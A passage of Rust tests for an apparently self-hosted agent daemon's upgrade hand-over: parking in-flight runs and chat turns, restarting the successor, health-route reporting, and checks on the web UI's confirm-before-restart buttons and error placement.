21835        let repo = TempDir::new().expect("repo dir");
21836        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21837            .expect("write magi.toml");
21838        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21839        for stage in [Stage::Done, Stage::Failed] {
21840            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21841            let res = fx.post("/api/upgrade", None).await;
21842            assert_eq!(res.status, 200, "{stage:?}");
21843        }
21844        // No record at all, and the gate was released by the earlier calls.
21845        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21846        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21847    }
21848
21849    #[tokio::test]
21850    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21851        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
21852        // and the route answers from its own logic.
21853        //
21854        // This test used to lean on the fixture's placeholder repo failing
21855        // config discovery, which left `mode = "notify"` - and a live,
21856        // unauthenticated call to the GitHub releases API inside a unit test.
21857        // GitHub allows 60 of those an hour per address, so the suite went red
21858        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
21859        // long as somebody kept re-running it: every attempt spent another
21860        // request. Six reruns across four pull requests were charged to that
21861        // before it was read as a rate limit rather than a flake.
21862        //
21863        // What the assertion is about is the "already current" branch, which
21864        // is reached by there being no newer release *or* nowhere to look. The
21865        // second one needs no network and cannot be rate limited.
21866        let repo = TempDir::new().expect("repo dir");
21867        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21868            .expect("write magi.toml");
21869        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21870
21871        // It must answer 200 and leave the process alone: restarting for an
21872        // upgrade that did not happen parks the run in flight and drops every
21873        // connection to pay for nothing. A probe against a deck already on the
21874        // newest build did exactly that, which is how this case got its own
21875        // branch.
21876        let res = fx.post("/api/upgrade", None).await;
21877        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21878        let body = res.json();
21879        assert!(body["to"].is_null(), "there was no release to move to");
21880        assert!(body["parked"].is_null(), "and nothing was parked");
21881        assert!(
21882            body["detail"]
21883                .as_str()
21884                .unwrap()
21885                .contains("nothing restarted"),
21886            "{body:?}"
21887        );
21888    }
21889
21890    #[tokio::test]
21891    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21892        // `mode = "off"` for the same reason as the test above: a default
21893        // fixture repo falls back to `mode = "notify"`, which would make this
21894        // route's new `update` field a live, unauthenticated GitHub call on
21895        // every assertion in this suite that happens to hit `/api/health`.
21896        let repo = TempDir::new().expect("repo dir");
21897        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21898            .expect("write magi.toml");
21899        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21900
21901        let health = fx.get("/api/health").await.json();
21902        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21903        assert_eq!(
21904            health["update"]["available"], false,
21905            "checking is off, which reads as \"unknown\", not \"none\""
21906        );
21907        assert!(health["update"]["to"].is_null());
21908        assert!(
21909            health["upgrade"].is_null(),
21910            "nothing has ever asked this deck to upgrade"
21911        );
21912    }
21913
21914    #[tokio::test]
21915    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21916        let fx = Fixture::start().await;
21917        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21918
21919        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21920        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21921        progress.advance(crate::updater::Stage::Parking);
21922        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21923
21924        let health = fx.get("/api/health").await.json();
21925        assert_eq!(health["upgrade"]["stage"], "parking");
21926        assert_eq!(health["upgrade"]["from"], "0.5.1");
21927        assert_eq!(health["upgrade"]["to"], "0.5.2");
21928        let waiting_on = health["upgrade"]["waiting_on"]
21929            .as_str()
21930            .expect("waiting_on is set while parking a known run");
21931        assert!(waiting_on.contains("cd51"), "{waiting_on}");
21932        assert!(waiting_on.contains("implementing"), "{waiting_on}");
21933    }
21934
21935    #[tokio::test]
21936    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21937        let fx = Fixture::start().await;
21938        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21939        progress.advance(crate::updater::Stage::Done);
21940        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21941
21942        let health = fx.get("/api/health").await.json();
21943        assert_eq!(health["upgrade"]["stage"], "done");
21944        assert!(
21945            health["upgrade"]["waiting_on"].is_null(),
21946            "nothing to wait on once it is done"
21947        );
21948    }
21949
21950    #[tokio::test]
21951    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21952        let home = TempDir::new().expect("temp home");
21953        let runs = home.path().join("runs");
21954        std::fs::create_dir_all(&runs).expect("runs dir");
21955        let ui = Ui::new(
21956            Queue::at(home.path().join("queue")),
21957            Questions::at(home.path().join("questions")),
21958            Talks::at(home.path().join("talks")),
21959            runs,
21960            home.path().to_path_buf(),
21961            PathBuf::from("/repo/magi"),
21962        )
21963        .with_launch(launch_idle);
21964        let looping = ui.looping();
21965        let turns = ui.turns();
21966        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21967            .await
21968            .expect("bind loopback");
21969        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21970
21971        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21972        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21973
21974        hand_over(
21975            home.path(),
21976            &looping,
21977            &turns,
21978            &|_: &[String]| Duration::from_secs(5),
21979            served,
21980            |_| Ok(1),
21981        )
21982        .await
21983        .expect("hand over");
21984
21985        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21986        assert_eq!(
21987            after.stage,
21988            crate::updater::Stage::Restarting,
21989            "hand_over owns the record through parking and up to restarting; \
21990             the successor is what finishes it"
21991        );
21992    }
21993
21994    /// The successor is started exactly once on success, and exactly once on
21995    /// failure too (a failed start is reported, never retried).
21996    #[tokio::test]
21997    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21998        for fail in [false, true] {
21999            let home = TempDir::new().expect("temp home");
22000            let ui = idle_ui(&home);
22001            let looping = ui.looping();
22002            let turns = ui.turns();
22003            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22004                .await
22005                .expect("bind loopback");
22006            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22007            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22008            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22009
22010            let calls = std::sync::atomic::AtomicUsize::new(0);
22011            let outcome = hand_over(
22012                home.path(),
22013                &looping,
22014                &turns,
22015                &|_: &[String]| Duration::from_secs(5),
22016                served,
22017                |_| {
22018                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22019                    if fail {
22020                        anyhow::bail!("no exec")
22021                    } else {
22022                        Ok(4242)
22023                    }
22024                },
22025            )
22026            .await;
22027            assert_eq!(outcome.is_err(), fail);
22028            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22029
22030            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22031                .expect("upgrade.log is written under the home");
22032            for step in [
22033                "entered",
22034                "finish_loop",
22035                "listener released",
22036                "starting the successor",
22037            ] {
22038                assert!(log.contains(step), "missing `{step}` in:\n{log}");
22039            }
22040            assert!(
22041                log.contains(if fail { "did not start" } else { "pid 4242" }),
22042                "{log}"
22043            );
22044        }
22045    }
22046
22047    /// The handover signal is seen however the race falls, and wakes its one
22048    /// waiter once per signal - nothing here can spin.
22049    #[tokio::test]
22050    async fn the_handover_signal_wakes_one_waiter_once() {
22051        let signal = Notify::new();
22052        // Signalled before anyone waits: the stored permit is not lost.
22053        signal.notify_one();
22054        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22055            .await
22056            .expect("an early signal is still seen");
22057        // One signal, one wake-up: a second wait does not resolve by itself.
22058        assert!(
22059            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22060                .await
22061                .is_err(),
22062            "a consumed signal must not wake a second time"
22063        );
22064        // Signalled while waiting.
22065        let signal = std::sync::Arc::new(signal);
22066        let waiter = tokio::spawn({
22067            let signal = std::sync::Arc::clone(&signal);
22068            async move { wait_for_handover(&signal).await }
22069        });
22070        tokio::time::sleep(Duration::from_millis(20)).await;
22071        assert!(!waiter.is_finished(), "nothing was signalled yet");
22072        signal.notify_one();
22073        tokio::time::timeout(Duration::from_secs(5), waiter)
22074            .await
22075            .expect("a late signal wakes the waiter")
22076            .expect("join");
22077    }
22078
22079    #[tokio::test]
22080    async fn health_says_how_long_a_handover_has_been_stuck() {
22081        let fx = Fixture::start().await;
22082        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22083        progress.advance(crate::updater::Stage::Replaced);
22084        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22085        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22086
22087        let health = fx.get("/api/health").await.json();
22088        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22089        assert!(stuck >= 600, "{stuck}");
22090        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22091        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22092    }
22093
22094    #[tokio::test]
22095    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22096        let home = tempfile::tempdir().expect("temp home");
22097        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22098        progress.advance(crate::updater::Stage::Parking);
22099        crate::updater::write_progress(home.path(), &progress).expect("seed");
22100        // What the second upgrade_and_restart and its handler do.
22101        let mut again = progress.clone();
22102        again.advance(crate::updater::Stage::Replaced);
22103        crate::updater::write_progress(home.path(), &again).expect("replaced");
22104        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22105        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22106        let after = crate::updater::read_progress(home.path()).expect("record");
22107        assert_eq!(after.stage, crate::updater::Stage::Parking);
22108    }
22109
22110    #[tokio::test]
22111    async fn health_does_not_call_a_live_parking_wait_stuck() {
22112        let fx = Fixture::start().await;
22113        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22114        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22115        progress.advance(crate::updater::Stage::Parking);
22116        let hours = Duration::from_secs(3 * 3600);
22117        progress.started_at = Timestamp::now() - hours;
22118        progress.updated_at = Timestamp::now() - hours;
22119        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22120        let _lease = crate::updater::LeaseGuard::enter(
22121            fx.home.path(),
22122            Some("20260905-000000-cd51".to_owned()),
22123        );
22124
22125        let health = fx.get("/api/health").await.json();
22126        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22127        assert!(health["upgrade"]["stuck_kind"].is_null());
22128        assert_eq!(health["upgrade"]["handover_alive"], true);
22129        let waiting_on = health["upgrade"]["waiting_on"]
22130            .as_str()
22131            .expect("waiting_on");
22132        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22133    }
22134
22135    fn idle_ui(home: &TempDir) -> Ui {
22136        let runs = home.path().join("runs");
22137        std::fs::create_dir_all(&runs).expect("runs dir");
22138        Ui::new(
22139            Queue::at(home.path().join("queue")),
22140            Questions::at(home.path().join("questions")),
22141            Talks::at(home.path().join("talks")),
22142            runs,
22143            home.path().to_path_buf(),
22144            PathBuf::from("/repo/magi"),
22145        )
22146        .with_launch(launch_idle)
22147    }
22148
22149    async fn park_fixture(
22150        home: &TempDir,
22151    ) -> (
22152        Ui,
22153        Arc<Mutex<LoopState>>,
22154        Arc<Mutex<TalkTurns>>,
22155        tokio::task::JoinHandle<std::io::Result<()>>,
22156    ) {
22157        let ui = idle_ui(home);
22158        let looping = ui.looping();
22159        let turns = ui.turns();
22160        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22161            .await
22162            .expect("bind loopback");
22163        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22164        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22165        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22166        (ui, looping, turns, served)
22167    }
22168
22169    /// The hand-over does not release the address while a chat turn is in
22170    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
22171    /// started once the turn ends.
22172    #[tokio::test]
22173    async fn hand_over_waits_for_a_running_chat_turn() {
22174        let home = TempDir::new().expect("temp home");
22175        let (ui, looping, turns, served) = park_fixture(&home).await;
22176        let ui = Arc::new(ui);
22177        let id = "20260901-000000-chat";
22178        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22179
22180        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22181        let handover = tokio::spawn({
22182            let home = home.path().to_path_buf();
22183            let turns = Arc::clone(&turns);
22184            let calls = Arc::clone(&calls);
22185            async move {
22186                hand_over(
22187                    &home,
22188                    &looping,
22189                    &turns,
22190                    &|_: &[String]| Duration::from_secs(60),
22191                    served,
22192                    move |_| {
22193                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22194                        Ok(1)
22195                    },
22196                )
22197                .await
22198            }
22199        });
22200
22201        let waiting = async {
22202            for _ in 0..200 {
22203                if crate::updater::read_progress(home.path())
22204                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
22205                {
22206                    return;
22207                }
22208                tokio::time::sleep(Duration::from_millis(25)).await;
22209            }
22210            panic!("the park never named the chat turn");
22211        };
22212        waiting.await;
22213        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22214
22215        // A new turn is refused, a queued claim and a direct `/say` see a busy
22216        // slot, and nothing new is live.
22217        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22218        assert!(
22219            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22220            "a direct start says an upgrade is in progress"
22221        );
22222        assert!(
22223            ui.begin_queued_talk_turn("20260901-000000-late")
22224                .expect("queued claim")
22225                .is_none()
22226        );
22227        assert!(matches!(
22228            ui.begin_talk_turn_unless_pending("20260901-000000-late")
22229                .expect("start"),
22230            TalkTurnStart::Busy
22231        ));
22232        assert_eq!(turns.lock().unwrap().live.len(), 1);
22233
22234        // The health text names the turn.
22235        let progress = crate::updater::read_progress(home.path()).expect("progress");
22236        let view = upgrade_progress_view(&ui, progress);
22237        assert!(
22238            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22239            "{:?}",
22240            view.waiting_on
22241        );
22242
22243        assert!(!handover.is_finished());
22244        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22245        drop(turn);
22246        handover.await.expect("join").expect("hand over");
22247        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22248        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22249    }
22250
22251    /// Chat stays open while the loop is still parking, and closes only once
22252    /// the loop is done; a turn started during the park is waited for.
22253    #[tokio::test]
22254    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22255        let home = TempDir::new().expect("temp home");
22256        let (ui, looping, turns, served) = park_fixture(&home).await;
22257        let ui = Arc::new(ui);
22258        // A loop that ends only when told to.
22259        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22260        lock_or_recover(&looping).live = Some(Live {
22261            stop: daemon::Stop::new(),
22262            handle: tokio::spawn(async move {
22263                let _ = loop_ended.await;
22264            }),
22265            opts: daemon::Opts::default(),
22266        });
22267
22268        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22269        let handover = tokio::spawn({
22270            let home = home.path().to_path_buf();
22271            let turns = Arc::clone(&turns);
22272            let calls = Arc::clone(&calls);
22273            async move {
22274                hand_over(
22275                    &home,
22276                    &looping,
22277                    &turns,
22278                    &|_: &[String]| Duration::from_secs(60),
22279                    served,
22280                    move |_| {
22281                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22282                        Ok(1)
22283                    },
22284                )
22285                .await
22286            }
22287        });
22288
22289        let reached = async {
22290            for _ in 0..200 {
22291                if crate::updater::read_progress(home.path())
22292                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22293                {
22294                    return;
22295                }
22296                tokio::time::sleep(Duration::from_millis(25)).await;
22297            }
22298            panic!("the hand-over never reached parking");
22299        };
22300        reached.await;
22301
22302        // The loop is still parking: a chat turn starts.
22303        assert!(!turns.lock().unwrap().parking);
22304        let turn = ui
22305            .begin_talk_turn("20260901-000000-chat")
22306            .expect("claim")
22307            .expect("a turn can start while the loop parks");
22308
22309        // The loop ends; the slot closes while the first turn is still held.
22310        end_loop.send(()).expect("loop still waiting");
22311        for _ in 0..200 {
22312            if turns.lock().unwrap().parking {
22313                break;
22314            }
22315            tokio::time::sleep(Duration::from_millis(25)).await;
22316        }
22317        assert!(
22318            turns.lock().unwrap().parking,
22319            "closed once the loop is done"
22320        );
22321        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22322        assert!(
22323            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22324            "no turn starts once the loop is done"
22325        );
22326        assert!(
22327            ui.begin_queued_talk_turn("20260901-000000-late")
22328                .expect("queued claim")
22329                .is_none()
22330        );
22331        assert!(!handover.is_finished());
22332        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22333
22334        drop(turn);
22335        handover.await.expect("join").expect("hand over");
22336        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22337        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22338    }
22339
22340    /// A turn that never ends cannot block the upgrade: past the bound the
22341    /// hand-over proceeds and records which talk it gave up on.
22342    #[tokio::test]
22343    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22344        let home = TempDir::new().expect("temp home");
22345        let (ui, looping, turns, served) = park_fixture(&home).await;
22346        let id = "20260901-000000-stuk";
22347        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22348
22349        let calls = std::sync::atomic::AtomicUsize::new(0);
22350        hand_over(
22351            home.path(),
22352            &looping,
22353            &turns,
22354            &|_: &[String]| Duration::from_millis(300),
22355            served,
22356            |_| {
22357                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22358                Ok(1)
22359            },
22360        )
22361        .await
22362        .expect("hand over");
22363        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22364
22365        let progress = crate::updater::read_progress(home.path()).expect("progress");
22366        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22367        assert!(
22368            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22369            "{:?}",
22370            progress.detail
22371        );
22372        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22373        assert!(
22374            log.contains("handing over anyway") && log.contains(id),
22375            "{log}"
22376        );
22377    }
22378
22379    /// A drain that finds the upgrade parking leaves the queued draft alone
22380    /// and gives the slot up, instead of starting another turn.
22381    #[tokio::test]
22382    async fn drain_loop_starts_no_turn_while_parking() {
22383        let tmp = TempDir::new().expect("tempdir");
22384        let repo = tmp.path().join("repo");
22385        std::fs::create_dir_all(&repo).expect("repo dir");
22386        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22387        let home = TempDir::new().expect("temp home");
22388        let talks = Talks::at(home.path().join("talks"));
22389        let ui = Ui::new(
22390            Queue::at(home.path().join("queue")),
22391            Questions::at(home.path().join("questions")),
22392            talks.clone(),
22393            home.path().join("runs"),
22394            home.path().to_path_buf(),
22395            repo.clone(),
22396        )
22397        .with_worktrees_root(home.path().join("wt"));
22398        let cfg = config_for(&repo).await.expect("discover config");
22399        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22400        let id = talk.id.clone();
22401        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22402        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22403        let turns = ui.turns();
22404        let parking = ParkingTurns::begin(&turns);
22405
22406        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22407
22408        assert!(
22409            turns.lock().unwrap().live.is_empty(),
22410            "the slot is given up"
22411        );
22412        let fresh = talks.get(&id).expect("talk");
22413        assert_eq!(fresh.pending, "later", "the draft is still queued");
22414        assert!(fresh.turns.is_empty(), "no turn ran");
22415        drop(parking);
22416    }
22417
22418    /// Run `hand_over` against `ui` and return what the successor was told.
22419    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22420        let looping = ui.looping();
22421        let turns = ui.turns();
22422        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22423            .await
22424            .expect("bind loopback");
22425        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22426        let told = std::sync::Mutex::new(None);
22427        hand_over(
22428            home.path(),
22429            &looping,
22430            &turns,
22431            &|_: &[String]| Duration::from_secs(5),
22432            served,
22433            |resume| {
22434                *told.lock().unwrap() = Some(resume);
22435                Ok(1)
22436            },
22437        )
22438        .await
22439        .expect("hand over");
22440        told.into_inner().unwrap().expect("successor was started")
22441    }
22442
22443    #[tokio::test]
22444    async fn a_running_loop_is_resumed_by_the_successor() {
22445        let home = TempDir::new().expect("temp home");
22446        let ui = idle_ui(&home);
22447        ui.start_loop(None).expect("start");
22448        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22449        // The idle loop sees the park and ends before the handover fires.
22450        for _ in 0..500 {
22451            if !ui.loop_view(None).running {
22452                break;
22453            }
22454            tokio::time::sleep(Duration::from_millis(2)).await;
22455        }
22456        assert!(handed_over(&home, ui).await, "a running loop must resume");
22457
22458        let successor = idle_ui(&home);
22459        assert!(!successor.loop_view(None).running);
22460        assert!(successor.resume_after_handover(true));
22461        assert!(successor.loop_view(None).running);
22462        successor.stop_loop(None, false).expect("stop");
22463    }
22464
22465    #[tokio::test]
22466    async fn a_second_upgrade_request_keeps_the_resume_intent() {
22467        let home = TempDir::new().expect("temp home");
22468        let ui = idle_ui(&home);
22469        ui.start_loop(None).expect("start");
22470        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22471            .expect("first park");
22472        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22473            .expect("second park");
22474        assert!(handed_over(&home, ui).await);
22475    }
22476
22477    #[tokio::test]
22478    async fn a_stop_during_the_handover_wait_is_honoured() {
22479        let home = TempDir::new().expect("temp home");
22480        let ui = idle_ui(&home);
22481        ui.start_loop(None).expect("start");
22482        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22483        ui.stop_loop(None, false).expect("stop");
22484        assert!(!handed_over(&home, ui).await);
22485    }
22486
22487    #[tokio::test]
22488    async fn an_idle_loop_stays_stopped_across_the_handover() {
22489        let home = TempDir::new().expect("temp home");
22490        let ui = idle_ui(&home);
22491        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22492        assert!(!handed_over(&home, ui).await);
22493
22494        let successor = idle_ui(&home);
22495        assert!(!successor.resume_after_handover(false));
22496        assert!(!successor.loop_view(None).running);
22497    }
22498
22499    #[tokio::test]
22500    async fn a_loop_the_operator_stopped_is_not_resumed() {
22501        let home = TempDir::new().expect("temp home");
22502        let ui = idle_ui(&home);
22503        ui.start_loop(None).expect("start");
22504        ui.stop_loop(None, false).expect("stop");
22505        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22506        assert!(!handed_over(&home, ui).await);
22507    }
22508
22509    #[test]
22510    fn only_an_explicit_one_requests_a_resume() {
22511        assert!(!resume_requested(None));
22512        assert!(!resume_requested(Some("0".into())));
22513        assert!(!resume_requested(Some("".into())));
22514        assert!(resume_requested(Some("1".into())));
22515    }
22516
22517    #[test]
22518    fn the_upgrade_button_arms_before_it_restarts_anything() {
22519        // It ends the process the operator is talking to, and a phone in a
22520        // pocket taps things. One tap arms, the second commits.
22521        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22522        assert!(APP_JS.contains("Replace the binary and restart?"));
22523        assert!(APP_JS.contains("function confirmed("));
22524        // Hidden when the loop is somebody else's, matching the 409 above -
22525        // and hidden with nothing to install, matching the 200 "already
22526        // current" branch: an operator on the newest build must not be
22527        // offered a restart that would only park a run for nothing.
22528        assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22529        // A park waits for the node in flight, up to an hour for an implement
22530        // wave. Leaving the button reading "Upgrading…" for that long is the
22531        // same mistake as an error rendered off screen: it looks wedged.
22532        assert!(
22533            APP_JS.contains("Parking, then restarting"),
22534            "the button says what it is waiting for"
22535        );
22536        // And nothing to install must give the button back rather than
22537        // pretending a restart is coming.
22538        assert!(APP_JS.contains("if (!out.to)"));
22539    }
22540
22541    #[test]
22542    fn stopping_the_loop_arms_but_starting_does_not() {
22543        // A stray tap must not leave the queue stopped overnight, so a stop is
22544        // two taps through the same helper the upgrade uses; a start stays one.
22545        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22546        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22547        assert!(APP_JS.contains("confirmed(button, question)"));
22548        // The label put back on timeout is the one saved when arming, not a
22549        // hard-coded upgrade caption that would rename the stop button.
22550        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
22551        assert!(APP_JS.contains("const label = btn.textContent;"));
22552        assert!(!APP_JS.contains("Neither direction is guarded"));
22553    }
22554
22555    #[test]
22556    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22557        assert!(
22558            APP_JS.contains("state.health.version"),
22559            "the operator wants to know what is running even with nothing newer"
22560        );
22561        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22562    }
22563
22564    #[test]
22565    fn the_upgrade_button_names_its_destination() {
22566        assert!(
22567            APP_JS.contains("`Update to ${update.to}`"),
22568            "pressing the button should not be a surprise about what it moves to"
22569        );
22570    }
22571
22572    #[test]
22573    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22574        for stage in ["downloading", "replaced", "parking", "restarting"] {
22575            assert!(
22576                APP_JS.contains(&format!("\"{stage}\"")),
22577                "the phone must be able to tell {stage} apart from the others"
22578            );
22579        }
22580        assert!(APP_JS.contains(".waiting_on"));
22581        // What replaced the bare "Cannot reach magi: Failed to fetch": a
22582        // fetch failing while an upgrade is in flight is not an error, it is
22583        // the sub-second gap `bind_waiting` covers, and it must not be
22584        // reported as one.
22585        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22586        assert!(APP_JS.contains("reconnects on its own"));
22587    }
22588
22589    #[test]
22590    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22591        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22592            ..APP_JS.find("function upgrade(").expect("upgrade")];
22593        assert!(!body.contains(
22594            "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
22595        ));
22596        assert!(body.contains("renderUpgradeError();"));
22597        assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22598    }
22599
22600    #[test]
22601    fn an_overdue_upgrade_eventually_asks_for_a_human() {
22602        // The ceiling has to clear a full hour-long park with room to spare,
22603        // or an ordinary implement wave would be reported as a stuck upgrade.
22604        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22605        assert!(APP_JS.contains("function upgradeOverdue("));
22606    }
22607
22608    #[test]
22609    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22610        assert!(
22611            APP_JS.contains("Updated to ${upgradeInfo.to"),
22612            "the operator who asked for the restart wants to know it worked"
22613        );
22614    }
22615
22616    #[test]
22617    fn an_error_is_visible_from_where_the_button_is() {
22618        // The alert used to sit in the flow under the header. On a phone
22619        // scrolled 13 500 px down to a run's action sheet that is off screen,
22620        // so tapping Resume and being told "the loop is running run b455
22621        // right now" looked exactly like a button that did nothing.
22622        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22623            ..APP_CSS.find(".alert-text").expect(".alert-text")];
22624        assert!(
22625            alert.contains("position: fixed"),
22626            "an error about the thing under your thumb has to be visible from \
22627             where your thumb is: {alert}"
22628        );
22629        assert!(
22630            alert.contains("z-index: 25"),
22631            "above the dock (20) and the run-actions FAB (15), so neither \
22632             buries it: {alert}"
22633        );
22634        assert!(
22635            alert.contains("var(--tap)"),
22636            "and clear of the dock and the home indicator: {alert}"
22637        );
22638        // The FAB sits at the same height on the right. An error that covered
22639        // it would hide the button the operator reaches for next.
22640        assert!(
22641            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22642            "the FAB's column stays free: {alert}"
22643        );
22644    }
22645
22646    #[tokio::test]
22647    async fn an_older_attempt_says_what_replaced_it() {
22648        let fx = Fixture::start().await;
22649        let q = fx.queue();
22650        let runs = fx.runs();
22651        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22652        write_run(&runs, first, RunStatus::Stalled);
22653        write_run(&runs, second, RunStatus::Blocked);
22654
22655        let mut t = Task::new(
22656            "one task".to_owned(),
22657            "do it".to_owned(),
22658            PathBuf::from("/repo"),
22659            Source::Human,
22660        );
22661        t.runs = vec![first.to_owned(), second.to_owned()];
22662        q.put(&mut t).expect("put");
22663
22664        // Two cards with the same title and no hint which is which was the
22665        // question: "why are there two of the same, one stalled and one
22666        // blocked?" The older one now names its replacement.
22667        let rows = fx.get("/api/runs").await.json();
